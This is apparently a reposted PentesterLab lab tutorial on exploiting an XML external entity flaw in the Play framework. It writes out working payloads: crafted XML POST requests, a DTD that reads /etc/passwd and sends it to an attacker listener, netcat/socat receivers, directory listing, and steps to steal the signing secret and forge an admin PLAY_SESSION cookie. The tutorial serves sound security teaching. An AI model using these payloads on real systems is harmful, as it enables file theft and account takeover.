• Play XML Entities


    链接:https://pentesterlab.com/exercises/play_xxe/course

    Introduction

    This course details the exploitation of a XML entity bug in the Play framework. This issue can be used to retrieve arbitrary files and list the content of arbitrary directories. 
    The interresting thing about this bug is that it's completely transparent and can stay (and stayed) unnoticed for a long time. To find this bug in a black-box test, you need to know what you are looking for. If you want to go ahead without following the course, you can find the advisory here.

    The Play Framework

    The Play Framework is a web framework that allows developers to quickly build web applications in Java or Scala. The way the code is organised and the URL are mapped are very similar to Ruby-on-Rails.

    Like Ruby-on-Rails, Play (auto-magically) manages multiple content-types when it receives HTTP requests. Here the application is really simple and has nothing to do with XML, it's just a simple login page. However, since the Play framework automatically parses XML requests, we are able to exploit this bug to read arbitrary files.

    The vulnerability

    When parsing XML messages, the most important security check is to ensure that XML entities have been disabled. XML entities can be used to tell the XML parser to fetch specific content:

    • From the filesystem.
    • From a web server (HTTP, HTTPs).
    • From a FTP server.
    • ...

    This can obviously be used by an attacker to retrieve sensitive information on the application (path, passwords, source code,...).

    The bug impacting Play was a XML entities bug, however this attack is completely blind and no information will be displayed in the response. That's why we will need another way to get information out.

    The exploitation

    To perform the exploitation, we will need to follow the following steps:

    Exploitation steps

    My prefered way of doing this (as it's a blind attack involving multiple steps) is to have 4 terminals next to each other:

    • One to send the initial request (step 1).
    • One to serve the DTD (step 2&3)
    • One to retrieve the information sent by the server (step 5).
    • One for debugging purpose.

    The initial request (step 1)

    First, we need to send the right HTTP request. The easiest way to do that is to build a tiny script that will connect to the server and send the request. We don't really care about the response but we can still retrieve it. You can perform the same thing with a proxy (preferably with a repeater mode) or manually with netcat. The only thing with netcat is that you will need to manually set the size of the Content-Length header.

    The initial request needs to be a POST request to ensure that the framework will parse the body of the request. Here the application is pretty simple and we can see that when we try to log in, a POST request is sent:

    POST /login HTTP/1.1
    Host: vulnerable
    User-Agent: PentesterLab 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://vulnerable/login
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    
    username=test&password=test
    

    We will now need to modify this request to send XML, to do this, we will need:

    • Remove all the uneeded information to make debugging easier.
    • To add the XML message in the body of the request.
    • To change the Content-Type of the request.
    POST /login HTTP/1.1
    Host: vulnerable
    Connection: close
    Content-Type: text/xml
    Content-Length: 36
    
    <?xml version="1.0"?>
    <foo>bar</foo>
    

    Finally, we need to add the XML entity payload:

    POST /login HTTP/1.1
    Host: vulnerable
    Connection: close
    Content-Type: text/xml
    Content-Length: 97
    
    <?xml version="1.0"?>
    <!DOCTYPE foo SYSTEM "http://192.168.159.1:3000/test.dtd">
    <foo>&e1;</foo>
    

    Where http://192.168.159.1:3000/test.dtd is the location of the DTD.

    Now that we have a proper HTTP request containing XML, we can send it to the server. If all goes well, the server should respond with a HTTP 400 error as it's unabled to retrieve the DTD.

    Serving the DTD (step 2&3)

    To serve the DTD or any file, you will need a web server. This can be done with any server, however you will need to be able to see if the server tries to retrieve the DTD. In a real scenario, the server may not be able to access your server, so you will need to be able to detect that something is preventing that.

    The easiest ways to do that are:

    • Run a tiny web server in the foreground. I personally use Webrick and have a Shell alias always ready to start a web server:
      alias web="ruby -run -ehttpd . -p3000" 
      
    • Run a web sever and use tail -f on the log to see every request received.

    Using the alias above, you should see the following:

    % web
    [2015-03-31 08:19:28] INFO  WEBrick 1.3.1
    [2015-03-31 08:19:28] INFO  ruby 1.9.3 (2012-12-25) [x86_64-darwin12.2.1]
    [2015-03-31 08:19:28] WARN  TCPServer Error: Address already in use - bind(2)
    [2015-03-31 08:19:28] INFO  WEBrick::HTTPServer#start: pid=6028 port=3000
    

    Once you got this working, make sure you can access the file using a browser and that you can see the requests:

    localhost - - [31/Mar/2015:08:20:46 AEDT] "GET /test.dtd HTTP/1.1" 200 153
    http://localhost:3000/ -> /test.dtd
    

    To force the server to send you the content, you will need to use the following DTD:

    <!ENTITY % p1 SYSTEM "file:///etc/passwd">
    <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
    %p2;
    

    This DTD will force the XML parser to read the content of /etc/passwd and assigned it to the variable p1. Then it will create another variable p2 that containt a link to your malicious server and the value of p1. Then it will print the value of p2 using the %p2. After parsing the DTD will look like:

    <!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>
    

    Where [/etc/passwd] is the content of /etc/passwd.

    If you look back at the initial request that we sent, the body contains a reference to e1<foo>&e1;</foo>.

    Once the server finished processing the DTD, it will resolve the reference to e1 and send the content of /etc/passwd to your server.

    Retrieving the information (step 5)

    Finally, we need a way to receive the information. You can do that using:

    • netcat -l -p 3001 but you will need to restart the process every time you access the TCP port.
    • socat TCP-LISTEN:3001,reuseaddr,fork - that will not shutdown after the first request but can block after few requests.

    Now that we have everything working we can retrieve the content of /etc/passwd:

    Exploitation with 4 terms

    In the top right, we can see the final request with the content of /etc/passwd in the URL:

    GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1
    User-Agent: Java/1.7.0-internal
    Host: 192.168.159.1:3001
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
    

    Detecting this kind of bugs in the wild

    In the wild, you can't be sure that the server will be allowed to connect back to you. To detect this bug (and if the server resolves external names), you can use DNS.

    To do so, you just need to setup a DNS server and monitor its logs. Then you can send the initial request with a XML entity pointing to your domain: http://rand0m123.blah.ptl.io/. If the server is vulnerable to XML entity attacks (and can resolve external DNS name), you will see a DNS query from the vulnerable server.

    Finding the secret URL

    Now that everything is working, we will need to find the secret URL. Play framework uses a route file to configure what URL are available and what method should be call. We need to find this file to get access to the secret URL.

    A common way to find where the application is located is to access the environment. This can be done by trying to read /proc/self/environ. However, this will not work as the parser does not support reading from /proc (probably because it's using DataInputStream).

    If we go back to the content of /etc/passwd and URL-decode it (for example using Ruby), we can see that a play user exists:

    % irb
    1.9.3-p362 :001 > require 'uri'
     => true
    1.9.3-p362 :002 > puts URI.decode("GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1")
    GET /BLAH?root:x:0:0:root:/root:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/false
    tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
    pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
    play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
    mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
    

    The home directory of this user is /opt/play-2.1.3/xxe/, there is a good chance that it's where the application is located.

    Depending on the XML parser, it's also possible to retrieve the listing of a directory. The only way to see if it works is to try. Here we can modify the DTD file to point to /opt/play-2.1.3/xxe/:

    <!ENTITY % p1 SYSTEM "file:///opt/play-2.1.3/xxe/">
    <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
    %p2;
    

    And we can see the content of the directory:

    GET /BLAH?.gitignore%0A.settings%0Aapp%0Aconf%0Alogs%0Aproject%0Apublic%0AREADME%0ARUNNING_PID%0Atarget%0Atest%0A HTTP/1.1
    

    Which again, can be decoded to:

    GET /BLAH?.gitignore
    .settings
    app
    conf
    logs
    project
    public
    README
    RUNNING_PID
    target
    test
     HTTP/1.1
    

    Using this, you should be able to find conf/routes. Once you managed to retrieve this routes file, you should be able to access the secret URL.

    Tampering the session

    Another important file for a Play application is the application.conf, this file contains the secret used to sign the session. This file is also available in the conf directory of the application. Once you have that file, you can easily sign your own session using the secret.

    First, you need to retrieve the conf/application.conf file using what you saw above. The second step is to forge and sign your session using this secret. To do that we need a better understanding of what is in the session. We can leak the source code of the application to get a better understanding of the logic in place.

    Based on the conf/routes file, we know that the method controllers.Application.login is called when we submit the login form. By convention, this code is available in app/controllers/Application.java (or .scala if it's a Play application using Scala).

    Once we retrieved the source code of this controller, we can see that the session management is done by using a variable named user that gets put in the session:

          User user = User.findByUsername(username);
          if (user!=null) {
              if (user.password.equals(md5(username+":"+password) )) {
                session("user",username);
                return redirect("/");
    

    We will need to forge a Play session that contains the variable user with the value admin.

    If you looked at our other exercise on Play: Play Session Injection, you may be surprised that the internals of Play's sessions have changed since.

    The previous pattern was:

    signature-%00name1:value1%00%00name2:value2%00
    

    In this version of Play, the following is used:

    signature-name1=value1&name2=value2
    

    The code used can be found in framework/src/play/src/main/scala/play/api/mvc/Http.scala:

        def encode(data: Map[String, String]): String = {
          val encoded = data.map {
            case (k, v) => URLEncoder.encode(k, "UTF-8") + "=" +
    URLEncoder.encode(v, "UTF-8")
          }.mkString("&")
          if (isSigned)
            Crypto.sign(encoded) + "-" + encoded
          else
            encoded
        }
    

    We will now need to add our own variable: user=admin

    Finally, we can sign the session, the original code looks like:

      def sign(message: String, key: Array[Byte]): String = {
        val mac = Mac.getInstance("HmacSHA1")
        mac.init(new SecretKeySpec(key, "HmacSHA1"))
        Codecs.toHexString(mac.doFinal(message.getBytes("utf-8")))
      }
    

    In ruby, this can be done using:

    KEY = "[KEY FOUND IN conf/application.conf]"
    def sign(data)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, KEY,data)
    end
    

    The final step is to know the name of the session's cookie. Since it has not been changed in conf/application.conf, the default name is used: PLAY_SESSION.

    After setting this cookie in our browser, we can see that we are now logged in as admin:

    Logged in as admin

    Conclusion

    This exercise explained you how to exploit a XML entity bug in the Play framework. This bug is pretty interesting since it impacts the framework itself as opposed to the way the developers used it. I hope you enjoyed learning with PentesterLab.

  • 相关阅读:
    Java基础_0205: 程序逻辑结构
    java基础_0204:运算符
    Centos 7 安装MySQL
    Maven 入门
    winx64 MySQL 5.7绿色版安装步骤
    hadoop环境搭建
    配置虚拟机 Linux 静态IP
    JDK开发环境搭建及环境变量配置
    设计模式之命令模式详解(故事版)
    设计模式之 外观模式详解(Service第三者插足,让action与dao分手)
  • 原文地址:https://www.cnblogs.com/blacksunny/p/8613431.html
Copyright © 2020-2023  润新知